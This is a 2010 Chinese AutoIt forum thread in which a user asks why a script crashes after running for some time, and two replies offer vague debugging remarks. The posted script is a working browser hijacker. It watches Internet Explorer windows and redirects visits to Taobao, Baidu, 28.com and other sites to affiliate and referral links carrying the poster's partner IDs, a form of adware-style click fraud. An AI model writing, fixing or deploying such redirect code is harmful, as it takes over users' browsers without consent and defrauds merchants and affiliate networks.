anyky123 发表于 2010-9-3 14:01:32

为什么我的这个代码运行一代时间就会出错!

While 1
Sleep(400)
$oShell = ObjCreate('shell.application')
$oShellWindows = $oShell.windows
For $Window In $oShellWindows
If StringRight($Window.FullName, 12) = 'iexplore.exe' Then                        
If $Window.locationurl='http://www.taobao.com/' or $Window.locationurl='http://taobao.com' Then $Window.navigate('http://pindao.huoban.taobao.com/tms/channel/channelcode.htm?pid=mm_12447901_1946460_8927158&mode=86')
If $Window.locationurl='http://www.taobao.com/go/act/mmbd/pd011.php?pid=mm_15485148_2225907_8732132&w=mmp4ptest' or $Window.locationurl='http://www.baidu.com' Then $Window.navigate('http://pindao.huoban.taobao.com/tms/channel/channelcode.htm?pid=mm_12447901_1946460_8927158&mode=86')
If $Window.locationurl='http://search.gd118114.cn/' or $Window.locationurl='http://taobao.com' Then $Window.navigate('http://www.4888.cc')
If $Window.locationurl='http://www.28.com/' or $Window.locationurl='http://28.com' Then $Window.navigate('http://spcode.baidu.com/spcode/spClick?tn=yaoicafe_sp&ctn=0&styleid=3315&tourl=http://tj.28.com/?comeID=96889')
If $Window.locationurl='http://tj.28.com/' or $Window.locationurl='http://taobao.com' Then $Window.navigate('http://spcode.baidu.com/spcode/spClick?tn=yaoicafe_sp&ctn=0&styleid=3315&tourl=http://tj.28.com/?comeID=96889')
If $Window.locationurl='http://www.28.com/hot.htm' or $Window.locationurl='http://taobao.com' Then $Window.navigate('http://spcode.baidu.com/spcode/spClick?tn=yaoicafe_sp&ctn=0&styleid=3315&tourl=http://tj.28.com/?comeID=96889')
EndIf
Next
WEnd

tianji028 发表于 2010-9-16 10:40:27

其实ie udf的一些错误可以忽略的

karlpopper 发表于 2010-9-16 10:41:16

具体是什么错误也得说说看啊
页: [1]
查看完整版本: 为什么我的这个代码运行一代时间就会出错!